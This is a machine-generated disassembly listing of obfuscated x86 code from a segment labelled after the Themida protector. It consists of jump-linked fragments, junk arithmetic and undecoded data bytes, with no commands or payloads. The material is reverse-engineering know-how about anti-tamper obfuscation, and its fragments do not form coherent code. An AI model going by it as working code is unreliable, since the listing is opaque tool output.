		dd 835D6E5Bh, 148904ECh, 34FF5E24h, 0C4835A24h,	24743104h
		dd 0D1E95E04h, 81FFFFF4h, 0AAF6CDEAh, 81525071h, 3B1D2434h
		dd 355845D3h, 45D33B1Dh, 5A58C789h, 0E959CF01h,	7958h
		dd 53525A5Ah, 810FA668h, 585DE91Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55077A:				; CODE XREF: Themida_:00554E57j
		push	ebp
		push	292C4A5Fh
		pop	ebp
		shl	ebp, 2
		add	ebp, 25A14F60h
		xor	ebp, 0DF945C8h
		push	ecx
		mov	ecx, 806F2D44h
		xor	ebp, ecx
		jmp	loc_55552D
; ---------------------------------------------------------------------------
		db 0BEh, 4, 0
		dd 57E90000h, 89000087h, 0ECB82404h, 50C98DF4h,	0A2242C81h
		dd 8B3F2E1Eh, 0C483242Ch, 11BA5204h, 0C162BA17h, 60E905EAh
		dd 830000B7h, 8F5404ECh, 4812404h, 424h, 2434FF00h, 4C4835Bh
		dd 0D86E9h, 4C78100h, 83000000h, 3C3304C7h, 0F8DFE924h
		dd 565A0000h, 7863A6BEh, 0FDF68116h, 0E926E92Ah, 7356h
		dd 535EF101h, 0D31B46BBh, 2CC78159h, 12A6A62h, 2CEF81DFh
		dd 8B2A6A62h, 0C483241Ch, 53CF0104h, 5C70E9h, 0D0295800h
		dd 5724148Bh, 0E956E789h, 1CD7h, 5303E2C1h, 0E81D0CBBh
		dd 2C7E979h, 0EB810001h, 0E70173Fh, 54FBC381h, 0C3817D28h
		dd 6CEE5543h, 8957C301h, 68EEE9E7h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_550866:				; CODE XREF: Themida_:0055FD96j
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ecx
		push	4
		pop	ecx
		sub	eax, ecx
		pop	ecx
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_5573D8
; ---------------------------------------------------------------------------
		dd 6186C281h, 0C2816BC7h, 0B191AE9Fh, 148BD601h, 359FE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5508A6:				; CODE XREF: Themida_:0055E27Bj
		pop	edx
		xor	ebx, ebp
		jmp	loc_55E2CB
; ---------------------------------------------------------------------------
		dw 487h
		dd 3C895C24h, 1329E924h, 0ED810000h, 0FF2A03h, 0A752E9h
		db 0
; ---------------------------------------------------------------------------


loc_5508C5:				; CODE XREF: Themida_:0055949Aj
		mov	[esp], eax
		mov	eax, 4
		jmp	loc_55E0E5
; ---------------------------------------------------------------------------


loc_5508D2:				; CODE XREF: Themida_:005558C9j
		add	esp, 4
		xchg	eax, ebx
		neg	ebx
		xchg	eax, ebx
		add	eax, 53690287h
		push	ebx
		mov	ebx, 1FFB4106h
		sub	edx, ebx
		pop	ebx
		add	edx, eax
		jmp	loc_55FDDC
; ---------------------------------------------------------------------------
		dw 1C31h
		dd 241C3324h, 0BC40E9h
		db 0
; ---------------------------------------------------------------------------


loc_5508F9:				; CODE XREF: Themida_:005560EAj
		xor	[esp], eax
		sub	esp, 4
		mov	[esp], eax
		sub	esp, 4
		jmp	loc_550913
; ---------------------------------------------------------------------------


loc_55090D:				; CODE XREF: Themida_:005522C5j
		push	esi
		jmp	loc_54EA30
; ---------------------------------------------------------------------------


loc_550913:				; CODE XREF: Themida_:00550908j
		mov	[esp], edi
		pop	eax
		jmp	loc_554442
; ---------------------------------------------------------------------------
		dd 4BAh, 5AD30100h, 0AEB0E9h, 0D0E95800h, 8100000Ch, 2C7B57C2h
		dd 81D2F758h, 0DCEE11F2h, 8BD1898Eh, 0C4832414h, 0E579E904h
		dd 0D0290000h, 257B7305h, 4EC812Eh, 0E9000000h,	855h, 68D830ACh
		dd 7353h, 0E9243489h, 0E370h
; ---------------------------------------------------------------------------


loc_55096C:				; CODE XREF: Themida_:00555635j
		xor	esi, [esp]
		mov	esp, [esp]
		movzx	cx, al
		push	4CE5h
		mov	[esp], ebx
		push	6D4Dh
		push	esp
		jmp	loc_55BD95
; ---------------------------------------------------------------------------


loc_550989:				; CODE XREF: Themida_:005544A8j
		push	dword ptr [esp]
		jmp	loc_55FEDF
; ---------------------------------------------------------------------------


loc_550991:				; CODE XREF: Themida_:0055E19Dj
		push	edi
		jmp	loc_554F3C
; ---------------------------------------------------------------------------
		db 5Eh
		dd 53E9F501h, 8A000094h, 0C4832414h, 0F7C28002h, 148BD130h
		dd 4C48324h, 36BAE9h, 4C48100h,	81000000h, 4C1h, 4BD5500h
		dd 1000000h, 0FF515DE9h, 59042474h, 0B028E9h
		db 0
; ---------------------------------------------------------------------------


loc_5509D5:				; CODE XREF: Themida_:0054E2AFj
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		jmp	loc_551A60
; ---------------------------------------------------------------------------
		dw 0D9F6h
		dd 9356E9h
		db 0
; ---------------------------------------------------------------------------


loc_5509E9:				; CODE XREF: Themida_:0055B357j
		pop	eax
		dec	ebp
		add	ebp, 0C3B6F699h
		push	ebp
		sub	dword ptr [esp], 609E72E3h
		jmp	loc_54E32F
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0E9575E24h, 0F414h
; ---------------------------------------------------------------------------


loc_550A08:				; CODE XREF: Themida_:0055DDC4j
		mov	[esp], edi
		push	edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_54E468
; ---------------------------------------------------------------------------


loc_550A1B:				; CODE XREF: Themida_:0055D7C1j
		push	eax
		jmp	loc_55D73C
; ---------------------------------------------------------------------------
		dd offset dword_5AB468
		align 2
		dw 3489h
		dd 0F15BE24h, 0F789400Fh, 0E9F8295Eh, 4C02h, 15DEA89h
		dd 0D3295BDAh, 81E9E9h,	87D5F700h, 0B9BE56EAh, 4E1C0D19h
		dd 7E1C681h, 0F231E04Eh, 0C8ED815Eh, 17D0239h, 0C8C581D5h
		dd 5A7D0239h, 4B850h, 0C5010000h, 11067E9h
		db 0
; ---------------------------------------------------------------------------


loc_550A75:				; CODE XREF: Themida_:0055691Fj
		mov	edx, ebx
		jmp	loc_54FFFE
; ---------------------------------------------------------------------------
		dd 4C381h, 0EB810000h, 4, 5C241C87h, 0F7241C89h, 0E95B2414h
		dd 66CDh, 240CD366h, 5458E99Ch,	0E9560000h, 1071Dh, 243C8759h
		dd 2024248Bh, 0E99C2404h, 0C443h
; ---------------------------------------------------------------------------


loc_550AB8:				; CODE XREF: Themida_:00560E0Ej
		neg	eax
		push	edx
		mov	edx, 2B214FF6h
		sub	eax, edx
		pop	edx
		mov	edx, eax
		mov	eax, [esp]
		add	esp, 4
		push	77C1h
		mov	[esp], ebx
		jmp	loc_55650A
; ---------------------------------------------------------------------------
		db 29h
		dd 46C681FEh, 0E90FA272h, 0B158h, 4C481h, 12680000h, 0E9000008h
		dd 1C41h
; ---------------------------------------------------------------------------


loc_550AF8:				; CODE XREF: Themida_:00553D46j
		sub	edx, 790912C9h
		push	603Ah
		jmp	loc_55A3C7
; ---------------------------------------------------------------------------


loc_550B08:				; CODE XREF: Themida_:00555578j
		pop	ebx
		pop	ebp
		or	ebx, 1ADF13DFh
		push	esi
		jmp	loc_5596FA
; ---------------------------------------------------------------------------


loc_550B16:				; CODE XREF: Themida_:00550C8Ej
		push	dword ptr [esp]
		pop	esi
		push	4C0Bh
		mov	[esp], edi
		push	esp
		jmp	loc_558E11
; ---------------------------------------------------------------------------


loc_550B28:				; CODE XREF: Themida_:00551134j
		sub	edi, 7F47B1C8h
		jmp	loc_55B25E
; ---------------------------------------------------------------------------
		db 35h
		dd 2C700ED6h, 9C58E9h, 0FFE95900h, 89000053h, 74FF2434h
		dd 8F5E0424h, 665C2404h, 83240C8Bh, 0F6E904ECh
		db 89h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_550B5B:				; CODE XREF: Themida_:00557315j
		add	ecx, esi
		pop	esi
		jmp	loc_552F00
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0EC8304E7h, 24348904h, 0D31B26BEh, 8D8E949h,	4310001h
		dd 24043324h, 11546E9h,	4B95100h, 29000000h, 348759CEh
		dd 24895C24h, 24048124h, 4, 8BEAE9h, 24143300h,	33241431h
		dd 248B2414h, 0F53BE924h, 28F0000h, 0FFD210E9h,	0E9D8F7FFh
		dd 0ECFh, 405E089h, 55000000h, 4D4AB951h, 0E9C1759Ch, 7DDBE904h
		dd 3C8B0000h, 0D379E924h, 0E589FFFFh, 4C581h, 80E90000h
		dd 0D1000023h, 5516E9E1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_550BEE:				; CODE XREF: Themida_:0055399Fj
		mov	edi, ecx
		pop	ecx
		pop	eax
		jmp	loc_5536BF
; ---------------------------------------------------------------------------
		db 58h
		dd 4245401h, 4244481h, 35632B5Fh, 2404015Ah, 16E968h, 24048900h
		dd 0A771C268h, 44295855h, 48B0424h, 0D94BE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_550C22:				; CODE XREF: Themida_:0054EBE7j
		xor	dword ptr [esp], 5F53067h
		pop	esi
		xor	esi, 5F53067h
		jmp	loc_551112
; ---------------------------------------------------------------------------
		db 5Fh,	87h, 4
aSU		db '$éË“',0
		align 2


loc_550C3E:				; CODE XREF: Themida_:0055BC30j
		pop	ebp
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	edx
		push	69F36673h
		pop	edx
		and	edx, 6B811055h
		shr	edx, 4
		shr	edx, 6
		push	esi
		mov	esi, 32E30261h
		push	ebp
		mov	ebp, 684257h
		shr	ebp, 4
		sub	ebp, 1
		inc	ebp
		neg	ebp
		inc	ebp
		push	esi
		mov	esi, 1A605FEEh
		inc	esi
		jmp	loc_55B9A4
; ---------------------------------------------------------------------------


loc_550C81:				; CODE XREF: Themida_:0055458Cj
		xor	ch, 7Ch
		sub	al, 0A1h
		jmp	loc_557CBB
; ---------------------------------------------------------------------------


loc_550C8B:				; CODE XREF: Themida_:0055E2C6j
		pop	esp
		and	eax, esi
		jmp	loc_550B16
; ---------------------------------------------------------------------------
		dd offset dword_54C43C+44h
		db 0E3h
		dd 11144E9h, 5AE9BE00h,	0F73144A7h, 0E9F9295Eh,	6ABEh
		dd 4BBh, 0C0ED8100h, 114C90Dh, 0C0C581DDh, 0E914C90Dh
		dd 0AB36h, 4B850h, 44010000h, 0D5E90424h, 33000079h, 248B242Ch
		dd 0C8B70F24h, 403468h,	240C8900h, 0DD45E9h, 53CB8900h
		dd 0CFCB850h, 44013895h, 5D580424h, 0D69E9h
		db 0
; ---------------------------------------------------------------------------


loc_550CFD:				; CODE XREF: Themida_:00560F6Bj
		push	esi
		push	edi
		mov	edi, 28E3CB9h
		jmp	loc_55CF09
; ---------------------------------------------------------------------------


loc_550D09:				; CODE XREF: Themida_:0055C8CBj
		push	ecx
		mov	ecx, 76116E90h
		xor	eax, ecx
		pop	ecx
		push	eax
		sub	dword ptr [esp], 7BB252A3h
		jmp	loc_560FD6
; ---------------------------------------------------------------------------
		db 1
		dd 24348BF0h, 6804C483h, 1C5Bh,	0FA1E9h, 574BF00h, 0C783678Bh
		dd 0C3C78101h, 29FFC054h, 0E8BCE9F8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_550D46:				; CODE XREF: Themida_:0055F3F6j
		xor	ebp, edx
		pop	edx
		xor	edx, ebp
		jmp	loc_54EDBB
; ---------------------------------------------------------------------------
		dd 8904EC83h, 0E389241Ch, 4C381h, 0BE560000h, 4, 0AEE9F329h
		dd 57FFFFD9h, 924D0168h, 6EE95F41h, 5C000100h, 24048F54h
		dd 0E945E952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_550D82:				; CODE XREF: Themida_:00550EE9j
		mov	esp, [esp]
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_54DDC5
; ---------------------------------------------------------------------------


loc_550D8F:				; CODE XREF: Themida_:005562E8j
		mov	[esp], edi
		push	27DFh
		mov	[esp], eax
		mov	eax, 4A413247h
		push	edi
		mov	edi, 6F4D7107h
		sub	eax, edi
		jmp	loc_55662E
; ---------------------------------------------------------------------------
		dd 83243C8Bh, 0E95604C4h, 7429h
; ---------------------------------------------------------------------------


loc_550DB8:				; CODE XREF: Themida_:00550E0Dj
		mov	bh, 15h
		and	cl, bh
		pop	bx
		shl	cl, 1
		sub	cl, 28h
		sub	bl, cl
		pop	ecx
		sub	bl, al
		push	28EFh
		jmp	loc_5526B9
; ---------------------------------------------------------------------------


loc_550DD2:				; CODE XREF: Themida_:00555FB7j
		not	ebx
		push	esi
		mov	esi, 1B394CA5h
		or	ebx, esi
		pop	esi
		push	0
		sub	[esp], ebx
		mov	ebx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 3A99346Fh
		sub	ecx, 28C118AAh
		jmp	loc_56136F
; ---------------------------------------------------------------------------
		db 53h
		dd 10C60E9h
		db 0
; ---------------------------------------------------------------------------


loc_550E05:				; CODE XREF: Themida_:0054DF96j
		push	ecx
		mov	cl, 6Dh
		xor	cl, 89h
		push	bx
		jmp	loc_550DB8
; ---------------------------------------------------------------------------


loc_550E12:				; CODE XREF: Themida_:00554142j
		mov	esp, [esp]
		jmp	loc_5536D8
; ---------------------------------------------------------------------------
		dw 0E956h
		dd 0FFFFD2D6h, 0A310E95Ch, 0C4830000h, 17B16804h, 34890000h
		dd 34FF5424h, 0E9555E24h, 3310h, 305468h, 241C8900h, 4BBh
		dd 0E9DD0100h, 5947h
; ---------------------------------------------------------------------------


loc_550E50:				; CODE XREF: Themida_:00560A25j
		add	esp, 4
		mov	edx, ecx
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_5586DB
; ---------------------------------------------------------------------------


loc_550E6F:				; CODE XREF: Themida_:0055B9C5j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5535C9
; ---------------------------------------------------------------------------
		dw 535Ch
		dd 0E78033B7h, 80C7FE93h, 0F780AEF7h, 0E9FC004Dh, 5B93h
		dd 7DF4B850h, 0EA813C3Ah, 2C9F09A1h, 0C281C201h, 2C9F09A1h
		dd 4EC8358h, 0BF243C89h, 3BF42BB8h, 0E95FFA09h,	7A4Ah
		dd 0E905EFC0h, 0F133h
; ---------------------------------------------------------------------------


loc_550EC8:				; CODE XREF: Themida_:00556EDBj
		pop	ebx
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	esi
		mov	esi, 758F4786h
		jmp	loc_5559E1
; ---------------------------------------------------------------------------
		db 0BAh
		dd 7010974h, 0E344E9h
		db 0
; ---------------------------------------------------------------------------


loc_550EE5:				; CODE XREF: Themida_:0054EEBAj
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_550D82
; ---------------------------------------------------------------------------


loc_550EEE:				; CODE XREF: Themida_:0055530Cj
		push	eax
		push	dword ptr [esp+4]
		jmp	loc_55C2D5
; ---------------------------------------------------------------------------
		dd 80BAB252h, 0D02891F2h, 2054E95Ah, 74010000h,	57E90424h
		dd 10000C8h, 0DEA81FAh,	5F3A4010h, 690CBF57h, 6E910ABh
		dd 400001Bh, 0E9AB04BFh, 10BD8h, 177E981h, 0D1011165h
		dd 177C181h, 56E91165h,	25000106h, 61847921h, 39A56852h
		dd 95A3039h, 24148BD0h,	0E904C483h, 3D7Eh, 642886B4h, 0CE90424h
		dd 8100005Ch, 8B1C9EF7h, 5F515777h, 87D1F759h, 70868CFh
		dd 3C890000h, 2414F724h, 53243C8Bh, 0C381E389h,	4, 4C381h
		dd 84E90000h
		db 0D8h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_550F93:				; CODE XREF: Themida_:0055F209j
		mov	[esp], edx
		mov	edx, 680B56C8h
		jmp	loc_559673
; ---------------------------------------------------------------------------
aAams0z		db '€íMé0z',0
		align 4
		dd 4C781h, 0EF830000h, 8369E904h, 3C890000h, 0A720E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_550FBE:				; CODE XREF: Themida_:00559360j
		push	ebp
		mov	ebp, 45F13AF7h
		not	ebp
		push	4CA0h
		mov	[esp], ebx
		jmp	loc_558898
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 82CBE900h, 44810000h, 581D0424h, 6C813187h, 0ACF0424h
		dd 6C292442h, 44810424h, 0ACF0424h, 0E9512442h,	0FFFFDE59h
		dd 3547992Dh, 0A7B9513Dh, 52119916h, 8D6255BAh,	5E2C12Dh
		dd 2C38BD55h, 814D2BA2h, 0E30AF3C5h, 73F58152h,	31200653h
		dd 0D1315DEAh, 8124148Bh, 4C4h,	140B0500h, 0C829364Bh
		dd 4B140B2Dh, 0C46AE936h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_551046:				; CODE XREF: Themida_:0054FF47j
		or	ebx, ebx
		jnz	loc_554BD2
		push	5372h
		mov	[esp], edx
		pop	dword ptr [edi+20h]
		jmp	loc_55F7B0
; ---------------------------------------------------------------------------


loc_55105E:				; CODE XREF: Themida_:0054FCB4j
		sub	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_556919
; ---------------------------------------------------------------------------


loc_551072:				; CODE XREF: Themida_:0055179Aj
		and	edi, 248179DBh
		sub	edi, 0FA571731h
		push	eax
		mov	eax, edi
		mov	ebx, eax
		pop	eax
		pop	edi
		push	ebp
		jmp	loc_5506B3
; ---------------------------------------------------------------------------
		db 1
		dd 0FF082454h, 525A2434h, 0F75CE954h, 0F581FFFFh, 6CA53572h
		dd 505DEF31h, 0EB2886B8h, 0D8F7486Ah, 4DE9D8F7h, 5A00000Dh
		dd 0E9243C87h, 4FF5h, 815FFA29h, 0D93EA3CAh, 0B2BE5662h
		dd 816C5366h, 0AF5B52EAh, 81F20171h, 0AF5B52C2h, 24348B71h
		dd 4C481h, 8AE90000h
		db 0D7h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5510E7:				; CODE XREF: Themida_:005588C6j
		pop	eax
		jmp	loc_5619F1
; ---------------------------------------------------------------------------
		db 80h,	0C7h, 28h
		dd 685BF930h, 6564h, 52240489h,	0D5E9CE88h, 66000063h
		dd 57240C8Bh, 55525F54h, 46FBE950h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_551112:				; CODE XREF: Themida_:00550C30j
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_55E3B4
; ---------------------------------------------------------------------------
		db 54h,	5Fh, 68h
		dd 1FFDh, 0E9243489h, 11503h
; ---------------------------------------------------------------------------


loc_55112C:				; CODE XREF: Themida_:005575F5j
		and	edi, 5BAD26D9h
		not	edi
		jmp	loc_550B28
; ---------------------------------------------------------------------------
		db 8Bh,	3Ch, 24h
		dd 4C481h, 0E95B0000h, 0B728h, 0FE59EC08h, 0FECC80C4h
		dd 0FFFB3EE9h, 0E9C188FFh, 73C3h
; ---------------------------------------------------------------------------


loc_55115C:				; CODE XREF: Themida_:005597D0j
		push	ecx
		mov	ecx, 0FEA6D7Dh
		xor	edx, ecx
		jmp	loc_553D45
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 22h
		dd 89A061DFh, 24348BF3h, 0F8F9E9h, 0C3BB5A00h, 0E97FB07Eh
		dd 0FFFFF0A3h, 0E92434FFh, 0DE9Dh
; ---------------------------------------------------------------------------


loc_55118C:				; CODE XREF: Themida_:00557438j
		xor	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], ax
		jmp	loc_54DDC5
; ---------------------------------------------------------------------------
aTxssvr		db 'TXSév',0
		dw 8000h
		dd 0B753FFC1h, 5BF9282Dh, 8D5AE9h, 242C8900h, 0F816E9h
		dd 0BB535700h, 2F575523h, 1DE9DF89h
		db 12h,	1, 0
; ---------------------------------------------------------------------------


loc_5511C7:				; CODE XREF: Themida_:0054F45Dj
		shl	edx, 3
		add	edx, 6F585359h
		xor	edx, 1E286FC8h
		mov	ebp, edx
		pop	edx
		jmp	loc_5517CB
; ---------------------------------------------------------------------------


loc_5511DE:				; CODE XREF: Themida_:0055148Fj
					; Themida_:00560D85j
		push	edx
		mov	edx, ebx
		jmp	loc_55E6AB
; ---------------------------------------------------------------------------
		dw 0F129h
		dd 44F1C181h, 34FF74B4h, 0C4815E24h, 4,	0C8BCA31h, 0ACFCE924h
		dd 3C8B0000h, 0D6AAE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55120A:				; CODE XREF: Themida_:0055FAECj
		pop	edx
		xor	edi, ecx
		pop	ecx
		or	edi, 0D7B30DCh
		jmp	loc_55BC4B
; ---------------------------------------------------------------------------


loc_551219:				; CODE XREF: Themida_:0055C9DEj
		sub	ecx, 337AA628h
		xor	ebx, ecx
		pop	ecx
		add	esi, ebx
		pop	ebx
		xor	esi, [esp]
		jmp	loc_561606
; ---------------------------------------------------------------------------
		db 5Fh,	81h, 6Ch
		dd 4CDE0424h, 440112C6h, 17E90424h, 500000E8h, 19685253h
		dd 0E9225B6Eh, 0FFFFFF2Dh, 238BC281h, 34FF0AB1h, 0E80E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55125A:				; CODE XREF: Themida_:0055D797j
		push	ecx
		mov	ecx, esp
		jmp	loc_552560
; ---------------------------------------------------------------------------
		dw 3305h
		dd 0E959BA3Eh, 0CDBh, 0FFC0B60Fh, 4EE98734h, 81FFFFCBh
		dd 0E43C6EF2h, 5EAC121h, 0A8E9DAF7h, 5EFFFFF6h,	4C481h
		dd 0C4810000h, 4, 47685052h, 58548D0Fh,	8D0F4335h, 58C28954h
		dd 148BD601h, 4C48324h,	0BF575157h, 7920485Ah, 0F5E4F8B9h
		dd 89E981FBh, 17E484Ah,	89C181F9h, 5F7E484Ah, 0F1814149h
		dd 0B6555DAh, 1FC6E9h
		db 0
; ---------------------------------------------------------------------------


loc_5512D5:				; CODE XREF: Themida_:00556449j
		add	ecx, 70F97051h
		mov	ebp, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_55D855
; ---------------------------------------------------------------------------


loc_551304:				; CODE XREF: Themida_:0055FF9Dj
		push	0A2560DDh
		mov	esi, [esp]
		add	esp, 4
		push	edi
		push	0F5DA9F4Bh
		jmp	loc_55D845
; ---------------------------------------------------------------------------


loc_55131A:				; CODE XREF: Themida_:0054EA77j
		add	ecx, 13D41736h
		add	ecx, eax
		push	esi
		mov	esi, 57CF456Fh
		or	esi, 4FAF0341h
		shr	esi, 7
		neg	esi
		jmp	loc_5572AB
; ---------------------------------------------------------------------------
		dd 241C895Ch, 0FFF96BE9h, 0BB5352FFh, 7569283Bh, 6804EBC1h
		dd 0
		dd 0E9241C29h, 191Eh, 83242C8Bh, 0E95704C4h, 0D12Eh, 105C281h
		dd 0D0891406h, 7437685Ah, 0C890000h, 81E18924h,	4C1h, 4E98300h
		dd 31240C33h, 0C33240Ch, 24248B24h, 0BA241489h,	40521AE8h
		dd 6DECE281h, 0EA81576Ch, 487619B1h, 8CE9DAF7h
		db 0Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5513A7:				; CODE XREF: Themida_:0055DA0Aj
		mov	ch, al
		jmp	loc_553CDD
; ---------------------------------------------------------------------------
		dw 8157h
		dd 4ECh, 24248900h, 6B02E9h, 7E6C100h, 0F84FE9h, 243C8B00h
		dd 4C481h, 0FFBB0000h, 8138271Dh, 37095FC3h, 81EB015Eh
		dd 37095FEBh, 0D8015D5Eh, 68D8295Bh, 50EFh, 68240C89h
		dd 128D76AFh, 4EE98159h, 0F7681F6Ah, 7BF181D9h,	2937ABD9h
		dd 8FE959C8h
		db 0D7h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55140B:				; CODE XREF: Themida_:0055C799j
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		or	eax, eax
		jz	loc_554877
		sub	esp, 4
		jmp	loc_55FF99
; ---------------------------------------------------------------------------
		dd 53240C89h, 43B368h, 24048900h, 0CC4AE4B8h, 0CEEB2D38h
		dd 0C389D92Fh, 8324048Bh, 0F75304C4h, 66E92414h, 8F0000B1h
		dd 248B2404h, 0B30F6624h, 0E99C2404h, 0FFFFC969h, 51CB8143h
		dd 4B09177Fh, 8026C381h, 0C681F400h, 2A36320Dh,	0EE81DE01h
		dd 2A36320Dh, 7467685Bh, 1C890000h, 0EBD5524h, 0E958502Dh
		dd 0FFFFD85Eh
; ---------------------------------------------------------------------------


loc_55148C:				; CODE XREF: Themida_:0055A7C8j
		pop	esp
		or	eax, eax
		jz	loc_5511DE
		push	dword ptr [edi+1Ch]
		jmp	loc_557FD9
; ---------------------------------------------------------------------------
		db 58h,	0E9h, 19h
		dd 590000A6h, 241C8B5Dh, 0E9E68956h, 0F88Dh
; ---------------------------------------------------------------------------


loc_5514B0:				; CODE XREF: Themida_:005617DAj
		mov	[esp], edx
		push	ebx
		mov	bh, 2Eh
		mov	dl, 14h
		sub	dl, bh
		pop	ebx
		xor	ah, dl
		pop	edx
		push	eax
		not	byte ptr [esp+1]
		pop	eax
		jmp	loc_5609BB
; ---------------------------------------------------------------------------
		db 59h,	1, 0CAh
		dd 1C8B5F59h, 4685324h,	89000058h, 4E92424h, 81FFFFD9h
		dd 6D2BB1EEh, 5A31E919h, 5A5A0000h, 4C681h, 0FF560000h
		dd 5E042474h, 8B24048Fh, 48B2424h, 5B545324h, 0B1FB951h
		dd 0E1810596h, 11EB24D9h, 0DB85049h, 2D49F71Ah,	2B1556E2h
		dd 136C612Dh, 0B31F052Ah, 0C13153F4h, 0A7BB5358h, 811CD324h
		dd 8A2A43E3h, 70F38130h, 0E961F36Dh, 2CC6h
; ---------------------------------------------------------------------------


loc_551540:				; CODE XREF: Themida_:0054E32Aj
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_54FE4D
; ---------------------------------------------------------------------------


loc_55154E:				; CODE XREF: Themida_:0056248Cj
		push	esi
		add	dword ptr [esp], 6B0A29C4h
		pop	ecx
		sub	ecx, 6B0A29C4h
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_55215A
; ---------------------------------------------------------------------------
		db 55h
		dd 4BDh, 4AC38100h, 104D31Dh, 4AEB81EBh, 0E904D31Dh, 0F60Dh
		dd 0D330D2F6h, 0D330DA30h, 5011CB80h, 0C30026B0h, 0E9DA8858h
		dd 0EF86h, 4B9h, 68505200h, 40C01AA9h, 7E0C158h, 0FFEE4AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5515B1:				; CODE XREF: Themida_:0055EEEAj
		pop	ecx
		jmp	loc_54DEB0
; ---------------------------------------------------------------------------
		db 21h
		dd 68565BDDh, 0F775C002h, 0FFF3D2E9h, 0E9595AFFh, 0FFFFE3DAh
		dd 39CF8158h, 81683333h, 1C66DACFh, 0B3E78123h,	811FC702h
		dd 78DD49F7h, 76D42DE4h, 0F8292DBFh, 0FFC83EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5515F1:				; CODE XREF: Themida_:00555191j
		add	esp, 4
		shr	ecx, 0
		jmp	loc_5542BE
; ---------------------------------------------------------------------------
		db 56h
		dd 4BEh, 0B435E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55160A:				; CODE XREF: Themida_:005615DFj
		pop	edx
		sub	al, 8Ah
		xor	cl, al
		pop	eax
		dec	cl
		sub	cl, 0B5h
		mov	dh, cl
		pop	ecx
		add	bl, dh
		mov	dx, [esp]
		jmp	loc_55C279
; ---------------------------------------------------------------------------


loc_551623:				; CODE XREF: Themida_:0055B5BEj
		push	esi
		push	188D360Eh
		pop	esi
		jmp	loc_554FCA
; ---------------------------------------------------------------------------
		db 5Bh
		dd 7846855h, 0E95D7F65h, 421Bh,	0A2147EB9h, 0D1F7492Fh
		dd 0EB7EE981h, 0C801D05Dh, 0FFDFD7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_551651:				; CODE XREF: Themida_:00551D56j
		or	ebx, ecx
		pop	ecx
		push	edi
		mov	edi, 6199587Eh
		jmp	loc_55EAA1
; ---------------------------------------------------------------------------
		db 0FFh
a4S		db '4$éÌÖ',0
		db 0
; ---------------------------------------------------------------------------


loc_551667:				; CODE XREF: Themida_:0054E5ABj
		mov	[esp], ax
		jmp	loc_55E23A
; ---------------------------------------------------------------------------
		dd 8B243C33h, 0C892424h, 0FE95424h
		db 0B5h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55167F:				; CODE XREF: Themida_:005534EDj
		push	eax
		push	ecx
		jmp	loc_55A299
; ---------------------------------------------------------------------------
		dw 0D389h
		dd 73E3815Ah, 0E9033F05h, 0BFA1h, 8104C483h, 4C4h, 0BF9E900h
		dd 2EBF0000h, 0F7476F17h, 732E9DFh, 14870000h, 24248B24h
		dd 6D6C68h, 240C8900h, 0B850E189h, 31D33A6Eh, 3507E0C1h
		dd 0E99D3704h, 0E958C101h, 9BBh, 8B5EF129h, 8CE92434h
		db 13h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5516DF:				; CODE XREF: Themida_:0055FDF5j
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		or	edx, eax
		jmp	loc_554BD9
; ---------------------------------------------------------------------------
a1434Hl		db '14$34$\hL"',0
		align 2
		dw 0C89h
aShp		db '$éH¯',0
		align 2


loc_551716:				; CODE XREF: Themida_:0055E660j
		mov	ecx, [esp]
		add	esp, 4
		xor	edx, eax
		push	dword ptr [esp]
		pop	eax
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
